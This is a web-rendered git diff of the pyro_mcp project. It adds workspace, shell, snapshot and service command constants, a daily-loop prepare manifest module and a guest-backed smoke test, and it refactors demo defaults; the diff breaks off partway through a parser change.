src/pyro_mcp/api.py
File diff suppressed because it is too large
Load diff
3649
src/pyro_mcp/cli.py
3649
src/pyro_mcp/cli.py
File diff suppressed because it is too large
Load diff
|
|
@ -2,35 +2,215 @@
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run")
|
PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "host", "mcp", "prepare", "run", "workspace")
|
||||||
PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",)
|
PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",)
|
||||||
PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune")
|
PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune")
|
||||||
|
PUBLIC_CLI_DOCTOR_FLAGS = ("--platform", "--environment", "--json")
|
||||||
|
PUBLIC_CLI_HOST_SUBCOMMANDS = ("connect", "doctor", "print-config", "repair")
|
||||||
|
PUBLIC_CLI_HOST_COMMON_FLAGS = (
|
||||||
|
"--installed-package",
|
||||||
|
"--mode",
|
||||||
|
"--profile",
|
||||||
|
"--project-path",
|
||||||
|
"--repo-url",
|
||||||
|
"--repo-ref",
|
||||||
|
"--no-project-source",
|
||||||
|
)
|
||||||
|
PUBLIC_CLI_HOST_CONNECT_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS
|
||||||
|
PUBLIC_CLI_HOST_DOCTOR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",)
|
||||||
|
PUBLIC_CLI_HOST_PRINT_CONFIG_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--output",)
|
||||||
|
PUBLIC_CLI_HOST_REPAIR_FLAGS = PUBLIC_CLI_HOST_COMMON_FLAGS + ("--config-path",)
|
||||||
|
PUBLIC_CLI_MCP_SUBCOMMANDS = ("serve",)
|
||||||
|
PUBLIC_CLI_MCP_SERVE_FLAGS = (
|
||||||
|
"--mode",
|
||||||
|
"--profile",
|
||||||
|
"--project-path",
|
||||||
|
"--repo-url",
|
||||||
|
"--repo-ref",
|
||||||
|
"--no-project-source",
|
||||||
|
)
|
||||||
|
PUBLIC_CLI_PREPARE_FLAGS = ("--network", "--force", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = (
|
||||||
|
"create",
|
||||||
|
"delete",
|
||||||
|
"disk",
|
||||||
|
"diff",
|
||||||
|
"exec",
|
||||||
|
"export",
|
||||||
|
"file",
|
||||||
|
"list",
|
||||||
|
"logs",
|
||||||
|
"patch",
|
||||||
|
"reset",
|
||||||
|
"service",
|
||||||
|
"shell",
|
||||||
|
"snapshot",
|
||||||
|
"start",
|
||||||
|
"status",
|
||||||
|
"stop",
|
||||||
|
"summary",
|
||||||
|
"sync",
|
||||||
|
"update",
|
||||||
|
)
|
||||||
|
PUBLIC_CLI_WORKSPACE_DISK_SUBCOMMANDS = ("export", "list", "read")
|
||||||
|
PUBLIC_CLI_WORKSPACE_FILE_SUBCOMMANDS = ("list", "read", "write")
|
||||||
|
PUBLIC_CLI_WORKSPACE_PATCH_SUBCOMMANDS = ("apply",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS = ("list", "logs", "start", "status", "stop")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SHELL_SUBCOMMANDS = ("close", "open", "read", "signal", "write")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SNAPSHOT_SUBCOMMANDS = ("create", "delete", "list")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS = ("push",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = (
|
||||||
|
"--vcpu-count",
|
||||||
|
"--mem-mib",
|
||||||
|
"--ttl-seconds",
|
||||||
|
"--network-policy",
|
||||||
|
"--allow-host-compat",
|
||||||
|
"--seed-path",
|
||||||
|
"--name",
|
||||||
|
"--label",
|
||||||
|
"--secret",
|
||||||
|
"--secret-file",
|
||||||
|
"--json",
|
||||||
|
"--id-only",
|
||||||
|
)
|
||||||
|
PUBLIC_CLI_WORKSPACE_DISK_EXPORT_FLAGS = ("--output", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_DISK_LIST_FLAGS = ("--recursive", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_DISK_READ_FLAGS = ("--max-bytes", "--content-only", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_EXEC_FLAGS = ("--timeout-seconds", "--secret-env", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_FILE_LIST_FLAGS = ("--recursive", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_FILE_READ_FLAGS = ("--max-bytes", "--content-only", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_FILE_WRITE_FLAGS = ("--text", "--text-file", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_LIST_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_PATCH_APPLY_FLAGS = ("--patch", "--patch-file", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_RESET_FLAGS = ("--snapshot", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS = ("--tail-lines", "--all", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = (
|
||||||
|
"--cwd",
|
||||||
|
"--ready-file",
|
||||||
|
"--ready-tcp",
|
||||||
|
"--ready-http",
|
||||||
|
"--ready-command",
|
||||||
|
"--ready-timeout-seconds",
|
||||||
|
"--ready-interval-ms",
|
||||||
|
"--secret-env",
|
||||||
|
"--publish",
|
||||||
|
"--json",
|
||||||
|
)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = (
|
||||||
|
"--cwd",
|
||||||
|
"--cols",
|
||||||
|
"--rows",
|
||||||
|
"--secret-env",
|
||||||
|
"--json",
|
||||||
|
"--id-only",
|
||||||
|
)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = (
|
||||||
|
"--cursor",
|
||||||
|
"--max-chars",
|
||||||
|
"--plain",
|
||||||
|
"--wait-for-idle-ms",
|
||||||
|
"--json",
|
||||||
|
)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_START_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_STATUS_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_STOP_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS = ("--json",)
|
||||||
|
PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json")
|
||||||
|
PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS = (
|
||||||
|
"--name",
|
||||||
|
"--clear-name",
|
||||||
|
"--label",
|
||||||
|
"--clear-label",
|
||||||
|
"--json",
|
||||||
|
)
|
||||||
PUBLIC_CLI_RUN_FLAGS = (
|
PUBLIC_CLI_RUN_FLAGS = (
|
||||||
"--vcpu-count",
|
"--vcpu-count",
|
||||||
"--mem-mib",
|
"--mem-mib",
|
||||||
"--timeout-seconds",
|
"--timeout-seconds",
|
||||||
"--ttl-seconds",
|
"--ttl-seconds",
|
||||||
"--network",
|
"--network",
|
||||||
|
"--allow-host-compat",
|
||||||
|
"--json",
|
||||||
)
|
)
|
||||||
|
PUBLIC_MCP_PROFILES = ("vm-run", "workspace-core", "workspace-full")
|
||||||
|
PUBLIC_MCP_MODES = ("repro-fix", "inspect", "cold-start", "review-eval")
|
||||||
|
|
||||||
PUBLIC_SDK_METHODS = (
|
PUBLIC_SDK_METHODS = (
|
||||||
|
"apply_workspace_patch",
|
||||||
|
"close_shell",
|
||||||
"create_server",
|
"create_server",
|
||||||
|
"create_snapshot",
|
||||||
"create_vm",
|
"create_vm",
|
||||||
|
"create_workspace",
|
||||||
|
"delete_snapshot",
|
||||||
"delete_vm",
|
"delete_vm",
|
||||||
|
"delete_workspace",
|
||||||
|
"diff_workspace",
|
||||||
"exec_vm",
|
"exec_vm",
|
||||||
|
"exec_workspace",
|
||||||
|
"export_workspace",
|
||||||
|
"export_workspace_disk",
|
||||||
"inspect_environment",
|
"inspect_environment",
|
||||||
"list_environments",
|
"list_environments",
|
||||||
|
"list_services",
|
||||||
|
"list_snapshots",
|
||||||
|
"list_workspace_disk",
|
||||||
|
"list_workspace_files",
|
||||||
|
"list_workspaces",
|
||||||
|
"logs_service",
|
||||||
|
"logs_workspace",
|
||||||
"network_info_vm",
|
"network_info_vm",
|
||||||
|
"open_shell",
|
||||||
"prune_environments",
|
"prune_environments",
|
||||||
"pull_environment",
|
"pull_environment",
|
||||||
|
"push_workspace_sync",
|
||||||
|
"read_shell",
|
||||||
|
"read_workspace_disk",
|
||||||
|
"read_workspace_file",
|
||||||
"reap_expired",
|
"reap_expired",
|
||||||
|
"reset_workspace",
|
||||||
"run_in_vm",
|
"run_in_vm",
|
||||||
|
"signal_shell",
|
||||||
|
"start_service",
|
||||||
"start_vm",
|
"start_vm",
|
||||||
|
"start_workspace",
|
||||||
|
"status_service",
|
||||||
"status_vm",
|
"status_vm",
|
||||||
|
"status_workspace",
|
||||||
|
"stop_service",
|
||||||
"stop_vm",
|
"stop_vm",
|
||||||
|
"stop_workspace",
|
||||||
|
"summarize_workspace",
|
||||||
|
"update_workspace",
|
||||||
|
"write_shell",
|
||||||
|
"write_workspace_file",
|
||||||
)
|
)
|
||||||
|
|
||||||
PUBLIC_MCP_TOOLS = (
|
PUBLIC_MCP_TOOLS = (
|
||||||
|
"service_list",
|
||||||
|
"service_logs",
|
||||||
|
"service_start",
|
||||||
|
"service_status",
|
||||||
|
"service_stop",
|
||||||
|
"shell_close",
|
||||||
|
"shell_open",
|
||||||
|
"shell_read",
|
||||||
|
"shell_signal",
|
||||||
|
"shell_write",
|
||||||
|
"snapshot_create",
|
||||||
|
"snapshot_delete",
|
||||||
|
"snapshot_list",
|
||||||
"vm_create",
|
"vm_create",
|
||||||
"vm_delete",
|
"vm_delete",
|
||||||
"vm_exec",
|
"vm_exec",
|
||||||
|
|
@ -41,4 +221,119 @@ PUBLIC_MCP_TOOLS = (
|
||||||
"vm_start",
|
"vm_start",
|
||||||
"vm_status",
|
"vm_status",
|
||||||
"vm_stop",
|
"vm_stop",
|
||||||
|
"workspace_create",
|
||||||
|
"workspace_delete",
|
||||||
|
"workspace_diff",
|
||||||
|
"workspace_disk_export",
|
||||||
|
"workspace_disk_list",
|
||||||
|
"workspace_disk_read",
|
||||||
|
"workspace_exec",
|
||||||
|
"workspace_export",
|
||||||
|
"workspace_file_list",
|
||||||
|
"workspace_file_read",
|
||||||
|
"workspace_file_write",
|
||||||
|
"workspace_list",
|
||||||
|
"workspace_logs",
|
||||||
|
"workspace_patch_apply",
|
||||||
|
"workspace_reset",
|
||||||
|
"workspace_summary",
|
||||||
|
"workspace_start",
|
||||||
|
"workspace_status",
|
||||||
|
"workspace_stop",
|
||||||
|
"workspace_sync_push",
|
||||||
|
"workspace_update",
|
||||||
)
|
)
|
||||||
|
PUBLIC_MCP_VM_RUN_PROFILE_TOOLS = ("vm_run",)
|
||||||
|
PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS = (
|
||||||
|
"vm_run",
|
||||||
|
"workspace_create",
|
||||||
|
"workspace_delete",
|
||||||
|
"workspace_diff",
|
||||||
|
"workspace_exec",
|
||||||
|
"workspace_export",
|
||||||
|
"workspace_file_list",
|
||||||
|
"workspace_file_read",
|
||||||
|
"workspace_file_write",
|
||||||
|
"workspace_list",
|
||||||
|
"workspace_logs",
|
||||||
|
"workspace_patch_apply",
|
||||||
|
"workspace_reset",
|
||||||
|
"workspace_summary",
|
||||||
|
"workspace_status",
|
||||||
|
"workspace_sync_push",
|
||||||
|
"workspace_update",
|
||||||
|
)
|
||||||
|
PUBLIC_MCP_REPRO_FIX_MODE_TOOLS = (
|
||||||
|
"workspace_create",
|
||||||
|
"workspace_delete",
|
||||||
|
"workspace_diff",
|
||||||
|
"workspace_exec",
|
||||||
|
"workspace_export",
|
||||||
|
"workspace_file_list",
|
||||||
|
"workspace_file_read",
|
||||||
|
"workspace_file_write",
|
||||||
|
"workspace_list",
|
||||||
|
"workspace_logs",
|
||||||
|
"workspace_patch_apply",
|
||||||
|
"workspace_reset",
|
||||||
|
"workspace_summary",
|
||||||
|
"workspace_status",
|
||||||
|
"workspace_sync_push",
|
||||||
|
"workspace_update",
|
||||||
|
)
|
||||||
|
PUBLIC_MCP_INSPECT_MODE_TOOLS = (
|
||||||
|
"workspace_create",
|
||||||
|
"workspace_delete",
|
||||||
|
"workspace_exec",
|
||||||
|
"workspace_export",
|
||||||
|
"workspace_file_list",
|
||||||
|
"workspace_file_read",
|
||||||
|
"workspace_list",
|
||||||
|
"workspace_logs",
|
||||||
|
"workspace_summary",
|
||||||
|
"workspace_status",
|
||||||
|
"workspace_update",
|
||||||
|
)
|
||||||
|
PUBLIC_MCP_COLD_START_MODE_TOOLS = (
|
||||||
|
"service_list",
|
||||||
|
"service_logs",
|
||||||
|
"service_start",
|
||||||
|
"service_status",
|
||||||
|
"service_stop",
|
||||||
|
"workspace_create",
|
||||||
|
"workspace_delete",
|
||||||
|
"workspace_exec",
|
||||||
|
"workspace_export",
|
||||||
|
"workspace_file_list",
|
||||||
|
"workspace_file_read",
|
||||||
|
"workspace_list",
|
||||||
|
"workspace_logs",
|
||||||
|
"workspace_reset",
|
||||||
|
"workspace_summary",
|
||||||
|
"workspace_status",
|
||||||
|
"workspace_update",
|
||||||
|
)
|
||||||
|
PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS = (
|
||||||
|
"shell_close",
|
||||||
|
"shell_open",
|
||||||
|
"shell_read",
|
||||||
|
"shell_signal",
|
||||||
|
"shell_write",
|
||||||
|
"snapshot_create",
|
||||||
|
"snapshot_delete",
|
||||||
|
"snapshot_list",
|
||||||
|
"workspace_create",
|
||||||
|
"workspace_delete",
|
||||||
|
"workspace_diff",
|
||||||
|
"workspace_exec",
|
||||||
|
"workspace_export",
|
||||||
|
"workspace_file_list",
|
||||||
|
"workspace_file_read",
|
||||||
|
"workspace_list",
|
||||||
|
"workspace_logs",
|
||||||
|
"workspace_reset",
|
||||||
|
"workspace_summary",
|
||||||
|
"workspace_status",
|
||||||
|
"workspace_update",
|
||||||
|
)
|
||||||
|
PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS = PUBLIC_MCP_TOOLS
|
||||||
|
|
|
||||||
152
src/pyro_mcp/daily_loop.py
Normal file
152
src/pyro_mcp/daily_loop.py
Normal file
|
|
@ -0,0 +1,152 @@
|
||||||
|
"""Machine-level daily-loop warmup state for the CLI prepare flow."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import json
|
||||||
|
from dataclasses import dataclass
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any, Literal
|
||||||
|
|
||||||
|
DEFAULT_PREPARE_ENVIRONMENT = "debian:12"
|
||||||
|
PREPARE_MANIFEST_LAYOUT_VERSION = 1
|
||||||
|
DailyLoopStatus = Literal["cold", "warm", "stale"]
|
||||||
|
|
||||||
|
|
||||||
|
def _environment_key(environment: str) -> str:
|
||||||
|
return environment.replace("/", "_").replace(":", "_")
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class DailyLoopManifest:
|
||||||
|
"""Persisted machine-readiness proof for one environment on one platform."""
|
||||||
|
|
||||||
|
environment: str
|
||||||
|
environment_version: str
|
||||||
|
platform: str
|
||||||
|
catalog_version: str
|
||||||
|
bundle_version: str | None
|
||||||
|
prepared_at: float
|
||||||
|
network_prepared: bool
|
||||||
|
last_prepare_duration_ms: int
|
||||||
|
|
||||||
|
def to_payload(self) -> dict[str, Any]:
|
||||||
|
return {
|
||||||
|
"layout_version": PREPARE_MANIFEST_LAYOUT_VERSION,
|
||||||
|
"environment": self.environment,
|
||||||
|
"environment_version": self.environment_version,
|
||||||
|
"platform": self.platform,
|
||||||
|
"catalog_version": self.catalog_version,
|
||||||
|
"bundle_version": self.bundle_version,
|
||||||
|
"prepared_at": self.prepared_at,
|
||||||
|
"network_prepared": self.network_prepared,
|
||||||
|
"last_prepare_duration_ms": self.last_prepare_duration_ms,
|
||||||
|
}
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def from_payload(cls, payload: dict[str, Any]) -> "DailyLoopManifest":
|
||||||
|
return cls(
|
||||||
|
environment=str(payload["environment"]),
|
||||||
|
environment_version=str(payload["environment_version"]),
|
||||||
|
platform=str(payload["platform"]),
|
||||||
|
catalog_version=str(payload["catalog_version"]),
|
||||||
|
bundle_version=(
|
||||||
|
None if payload.get("bundle_version") is None else str(payload["bundle_version"])
|
||||||
|
),
|
||||||
|
prepared_at=float(payload["prepared_at"]),
|
||||||
|
network_prepared=bool(payload.get("network_prepared", False)),
|
||||||
|
last_prepare_duration_ms=int(payload.get("last_prepare_duration_ms", 0)),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def prepare_manifest_path(cache_dir: Path, *, platform: str, environment: str) -> Path:
|
||||||
|
return cache_dir / ".prepare" / platform / f"{_environment_key(environment)}.json"
|
||||||
|
|
||||||
|
|
||||||
|
def load_prepare_manifest(path: Path) -> tuple[DailyLoopManifest | None, str | None]:
|
||||||
|
if not path.exists():
|
||||||
|
return None, None
|
||||||
|
try:
|
||||||
|
payload = json.loads(path.read_text(encoding="utf-8"))
|
||||||
|
except (OSError, json.JSONDecodeError) as exc:
|
||||||
|
return None, f"prepare manifest is unreadable: {exc}"
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
return None, "prepare manifest is not a JSON object"
|
||||||
|
try:
|
||||||
|
manifest = DailyLoopManifest.from_payload(payload)
|
||||||
|
except (KeyError, TypeError, ValueError) as exc:
|
||||||
|
return None, f"prepare manifest is invalid: {exc}"
|
||||||
|
return manifest, None
|
||||||
|
|
||||||
|
|
||||||
|
def write_prepare_manifest(path: Path, manifest: DailyLoopManifest) -> None:
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
path.write_text(
|
||||||
|
json.dumps(manifest.to_payload(), indent=2, sort_keys=True),
|
||||||
|
encoding="utf-8",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def evaluate_daily_loop_status(
|
||||||
|
*,
|
||||||
|
environment: str,
|
||||||
|
environment_version: str,
|
||||||
|
platform: str,
|
||||||
|
catalog_version: str,
|
||||||
|
bundle_version: str | None,
|
||||||
|
installed: bool,
|
||||||
|
manifest: DailyLoopManifest | None,
|
||||||
|
manifest_error: str | None = None,
|
||||||
|
) -> tuple[DailyLoopStatus, str | None]:
|
||||||
|
if manifest_error is not None:
|
||||||
|
return "stale", manifest_error
|
||||||
|
if manifest is None:
|
||||||
|
if not installed:
|
||||||
|
return "cold", "environment is not installed"
|
||||||
|
return "cold", "daily loop has not been prepared yet"
|
||||||
|
if not installed:
|
||||||
|
return "stale", "environment install is missing"
|
||||||
|
if manifest.environment != environment:
|
||||||
|
return "stale", "prepare manifest environment does not match the selected environment"
|
||||||
|
if manifest.environment_version != environment_version:
|
||||||
|
return "stale", "environment version changed since the last prepare run"
|
||||||
|
if manifest.platform != platform:
|
||||||
|
return "stale", "platform changed since the last prepare run"
|
||||||
|
if manifest.catalog_version != catalog_version:
|
||||||
|
return "stale", "catalog version changed since the last prepare run"
|
||||||
|
if manifest.bundle_version != bundle_version:
|
||||||
|
return "stale", "runtime bundle version changed since the last prepare run"
|
||||||
|
return "warm", None
|
||||||
|
|
||||||
|
|
||||||
|
def prepare_request_is_satisfied(
|
||||||
|
manifest: DailyLoopManifest | None,
|
||||||
|
*,
|
||||||
|
require_network: bool,
|
||||||
|
) -> bool:
|
||||||
|
if manifest is None:
|
||||||
|
return False
|
||||||
|
if require_network and not manifest.network_prepared:
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def serialize_daily_loop_report(
|
||||||
|
*,
|
||||||
|
environment: str,
|
||||||
|
status: DailyLoopStatus,
|
||||||
|
installed: bool,
|
||||||
|
cache_dir: Path,
|
||||||
|
manifest_path: Path,
|
||||||
|
reason: str | None,
|
||||||
|
manifest: DailyLoopManifest | None,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
return {
|
||||||
|
"environment": environment,
|
||||||
|
"status": status,
|
||||||
|
"installed": installed,
|
||||||
|
"network_prepared": bool(manifest.network_prepared) if manifest is not None else False,
|
||||||
|
"prepared_at": None if manifest is None else manifest.prepared_at,
|
||||||
|
"manifest_path": str(manifest_path),
|
||||||
|
"reason": reason,
|
||||||
|
"cache_dir": str(cache_dir),
|
||||||
|
}
|
||||||
131
src/pyro_mcp/daily_loop_smoke.py
Normal file
131
src/pyro_mcp/daily_loop_smoke.py
Normal file
|
|
@ -0,0 +1,131 @@
|
||||||
|
"""Real guest-backed smoke for the daily local prepare and reset loop."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import json
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from pyro_mcp.api import Pyro
|
||||||
|
from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT
|
||||||
|
|
||||||
|
|
||||||
|
def _log(message: str) -> None:
|
||||||
|
print(f"[daily-loop] {message}", flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
def _write_text(path: Path, text: str) -> None:
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
path.write_text(text, encoding="utf-8")
|
||||||
|
|
||||||
|
|
||||||
|
def _run_prepare(environment: str) -> dict[str, object]:
|
||||||
|
proc = subprocess.run( # noqa: S603
|
||||||
|
[sys.executable, "-m", "pyro_mcp.cli", "prepare", environment, "--json"],
|
||||||
|
text=True,
|
||||||
|
capture_output=True,
|
||||||
|
check=False,
|
||||||
|
)
|
||||||
|
if proc.returncode != 0:
|
||||||
|
raise RuntimeError(proc.stderr.strip() or proc.stdout.strip() or "pyro prepare failed")
|
||||||
|
payload = json.loads(proc.stdout)
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise RuntimeError("pyro prepare did not return a JSON object")
|
||||||
|
return payload
|
||||||
|
|
||||||
|
|
||||||
|
def run_daily_loop_smoke(*, environment: str = DEFAULT_PREPARE_ENVIRONMENT) -> None:
|
||||||
|
_log(f"prepare environment={environment}")
|
||||||
|
first_prepare = _run_prepare(environment)
|
||||||
|
assert bool(first_prepare["prepared"]) is True, first_prepare
|
||||||
|
second_prepare = _run_prepare(environment)
|
||||||
|
assert bool(second_prepare["reused"]) is True, second_prepare
|
||||||
|
|
||||||
|
pyro = Pyro()
|
||||||
|
with tempfile.TemporaryDirectory(prefix="pyro-daily-loop-") as temp_dir:
|
||||||
|
root = Path(temp_dir)
|
||||||
|
seed_dir = root / "seed"
|
||||||
|
export_dir = root / "export"
|
||||||
|
_write_text(seed_dir / "message.txt", "broken\n")
|
||||||
|
_write_text(
|
||||||
|
seed_dir / "check.sh",
|
||||||
|
"#!/bin/sh\n"
|
||||||
|
"set -eu\n"
|
||||||
|
"value=$(cat message.txt)\n"
|
||||||
|
'[ "$value" = "fixed" ] || {\n'
|
||||||
|
" printf 'expected fixed got %s\\n' \"$value\" >&2\n"
|
||||||
|
" exit 1\n"
|
||||||
|
"}\n"
|
||||||
|
"printf '%s\\n' \"$value\"\n",
|
||||||
|
)
|
||||||
|
|
||||||
|
workspace_id: str | None = None
|
||||||
|
try:
|
||||||
|
created = pyro.create_workspace(
|
||||||
|
environment=environment,
|
||||||
|
seed_path=seed_dir,
|
||||||
|
name="daily-loop",
|
||||||
|
labels={"suite": "daily-loop-smoke"},
|
||||||
|
)
|
||||||
|
workspace_id = str(created["workspace_id"])
|
||||||
|
_log(f"workspace_id={workspace_id}")
|
||||||
|
|
||||||
|
failing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||||
|
assert int(failing["exit_code"]) != 0, failing
|
||||||
|
|
||||||
|
patched = pyro.apply_workspace_patch(
|
||||||
|
workspace_id,
|
||||||
|
patch=("--- a/message.txt\n+++ b/message.txt\n@@ -1 +1 @@\n-broken\n+fixed\n"),
|
||||||
|
)
|
||||||
|
assert bool(patched["changed"]) is True, patched
|
||||||
|
|
||||||
|
passing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||||
|
assert int(passing["exit_code"]) == 0, passing
|
||||||
|
assert str(passing["stdout"]) == "fixed\n", passing
|
||||||
|
|
||||||
|
export_path = export_dir / "message.txt"
|
||||||
|
exported = pyro.export_workspace(
|
||||||
|
workspace_id,
|
||||||
|
"message.txt",
|
||||||
|
output_path=export_path,
|
||||||
|
)
|
||||||
|
assert export_path.read_text(encoding="utf-8") == "fixed\n"
|
||||||
|
assert str(exported["artifact_type"]) == "file", exported
|
||||||
|
|
||||||
|
reset = pyro.reset_workspace(workspace_id)
|
||||||
|
assert int(reset["reset_count"]) == 1, reset
|
||||||
|
|
||||||
|
rerun = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||||
|
assert int(rerun["exit_code"]) != 0, rerun
|
||||||
|
reset_read = pyro.read_workspace_file(workspace_id, "message.txt")
|
||||||
|
assert str(reset_read["content"]) == "broken\n", reset_read
|
||||||
|
finally:
|
||||||
|
if workspace_id is not None:
|
||||||
|
try:
|
||||||
|
pyro.delete_workspace(workspace_id)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def build_arg_parser() -> argparse.ArgumentParser:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Run the real guest-backed daily-loop prepare and reset smoke.",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"--environment",
|
||||||
|
default=DEFAULT_PREPARE_ENVIRONMENT,
|
||||||
|
help=f"Environment to warm and test. Defaults to `{DEFAULT_PREPARE_ENVIRONMENT}`.",
|
||||||
|
)
|
||||||
|
return parser
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
args = build_arg_parser().parse_args()
|
||||||
|
run_daily_loop_smoke(environment=args.environment)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
|
@ -6,6 +6,7 @@ import json
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
from pyro_mcp.api import Pyro
|
from pyro_mcp.api import Pyro
|
||||||
|
from pyro_mcp.vm_manager import DEFAULT_MEM_MIB, DEFAULT_TTL_SECONDS, DEFAULT_VCPU_COUNT
|
||||||
|
|
||||||
INTERNET_PROBE_COMMAND = (
|
INTERNET_PROBE_COMMAND = (
|
||||||
'python3 -c "import urllib.request; '
|
'python3 -c "import urllib.request; '
|
||||||
|
|
@ -30,10 +31,10 @@ def run_demo(*, network: bool = False) -> dict[str, Any]:
|
||||||
return pyro.run_in_vm(
|
return pyro.run_in_vm(
|
||||||
environment="debian:12",
|
environment="debian:12",
|
||||||
command=_demo_command(status),
|
command=_demo_command(status),
|
||||||
vcpu_count=1,
|
vcpu_count=DEFAULT_VCPU_COUNT,
|
||||||
mem_mib=512,
|
mem_mib=DEFAULT_MEM_MIB,
|
||||||
timeout_seconds=30,
|
timeout_seconds=30,
|
||||||
ttl_seconds=600,
|
ttl_seconds=DEFAULT_TTL_SECONDS,
|
||||||
network=network,
|
network=network,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -5,16 +5,18 @@ from __future__ import annotations
|
||||||
import argparse
|
import argparse
|
||||||
import json
|
import json
|
||||||
|
|
||||||
|
from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT
|
||||||
from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report
|
from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report
|
||||||
|
|
||||||
|
|
||||||
def _build_parser() -> argparse.ArgumentParser:
|
def _build_parser() -> argparse.ArgumentParser:
|
||||||
parser = argparse.ArgumentParser(description="Inspect bundled runtime health for pyro-mcp.")
|
parser = argparse.ArgumentParser(description="Inspect bundled runtime health for pyro-mcp.")
|
||||||
parser.add_argument("--platform", default=DEFAULT_PLATFORM)
|
parser.add_argument("--platform", default=DEFAULT_PLATFORM)
|
||||||
|
